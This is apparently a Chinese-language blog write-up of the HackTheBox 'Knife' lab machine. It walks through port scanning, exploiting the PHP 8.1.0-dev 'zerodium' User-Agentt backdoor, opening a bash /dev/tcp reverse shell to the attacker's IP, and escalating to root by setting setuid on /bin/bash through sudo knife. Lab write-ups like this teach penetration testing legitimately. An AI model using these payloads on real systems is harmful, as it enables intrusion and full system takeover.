HackTheBox-Knife靶場實戰
首先連接openvpn實現訪問到靶機

ping一下靶機地址測試網絡連通

nmap來掃描服務器開了什么端口

從這里可以看出靶機開了22和80端口,隨手試了幾個ssh的弱口令沒啥用,只能從80端口入手了,先訪問網站

首頁沒發現可以利用的地方,再用dirsearch掃一波目錄


掃描出來的目錄訪問之后沒啥作用,我們來識別一波CMS用kali的whatweb來識別一波

這里看到了X-Powered-By[PHP/8.1.0-dev]不同尋常百度之后果然有問題,X-Powered-By是響應頭里面的內容會泄露php的版本信息,而PHP/8.1.0-dev這個版本的php會有一個后門
漏洞描述
PHP 8.1.0-dev 版本在2021年3月28日被植入后門,但是后門很快被發現并清除。當服務器存在該后門時,攻擊者可以通過發送User-Agentt頭來執行任意代碼。
這邊我們直接抓包并發送到重發器試試命令執行的結果
User-Agentt: zerodiumsystem("ifconfig");

現在就好辦了直接反彈shell,本機vpn的ip
bash -c 'exec bash -i &>/dev/tcp/10.10.14.3/4444 <&1'

而我們在本機用執行nc監聽端口
nc -nvlp 4444



得到反彈的shell,權限并不高,而且nc的shell不好用,所以用python來得到一個更好用的shell,好多語言都可以調用shell,你現在linux系統基本自帶python所以python更加方便
python -c 'import pty; pty.spawn("/bin/bash")'
which python可以查看有沒有python語言環境,這里有python3環境

我們執行語句獲取shell

此用戶權限較低,我們來提權
sudo -l 可以知道我們了不用root密碼來執行某些文件

這邊可以無密執行/usr/bin/knife文件,查看文件發現是ruby腳本的文件

搜索了一下這個文件是一個ruby的包運行之后提示需要傳遞一個子命令

這邊是個setuid的提權,我找的了一個大佬的解釋:
setuid
setuid是類unix系統提供的一個標志位, 其實際意義是set一個process的euid為這個可執行文件或程序的擁有者(比如root)的uid, 也就是說當setuid位被設置之后, 當文件或程序(統稱為executable)被執行時, 操作系統會賦予文件所有者的權限, 因為其euid是文件所有者的uid
舉個例子
setuid的方法是使用Linux的chmod指令,我們都習慣給予一個文件類似“0750” “0644” 之類的權限,它們的最高位0就是setuid的位置, 我們可以通過將其設為4來設置setuid位。(tips:設置為2為setgid,同setuid類似,即賦予文件所在組的權限)。
chmod 4750 文件名orchmod u+s 文件名
在這個命令執行之后, 我們再通過ls -l命令查看文件時, 可以發現文件owner權限的x 位變成了s ,這就說明setuid權限已經被設置, 之后任何user執行這個文件時(user需要有文件的執行權限), 都會以root的權限運行(此文件的owner為root)。所以,針對一個需要被很多user以root權限執行的文件, 我們可以通過setuid來進行操作, 這樣就不必為所有user都添加sudo 命令。
tips
在使用setuid時, 需要保證此文件有被執行的權限(x), 如果沒有執行權限。在使用ls -l查看權限時, 會發現setuid位被設置為了大寫的S, 這說明setuid位沒有被設置成功。
原文鏈接:
https://blog.csdn.net/weixin_44575881/article/details/86552016
這邊繼續來提權,ruby執行命令方法exec,system,和%x。我們寫一個賦予/bin/bash setuid的腳本
echo “system(‘chmod +s /bin/bash’)” > j.rb

我們james用戶具有執行knife的權限并且是以root權限運行,所以寫一個腳本來給/bin/bash/賦予setuid位
sudo /usr/bin/knife exec j.rb 通過knife執行我們寫的腳本

sudo是linux系統管理指令,是允許系統管理員讓普通用戶執行一些或者全部的root命令的一個工具
/bin/bash -p
–posix 這個指令是需要用到root權限的,由于設置了setuid所以實現了提權

這樣就可以拿到兩個flag了

最后提交拿到勝利!!
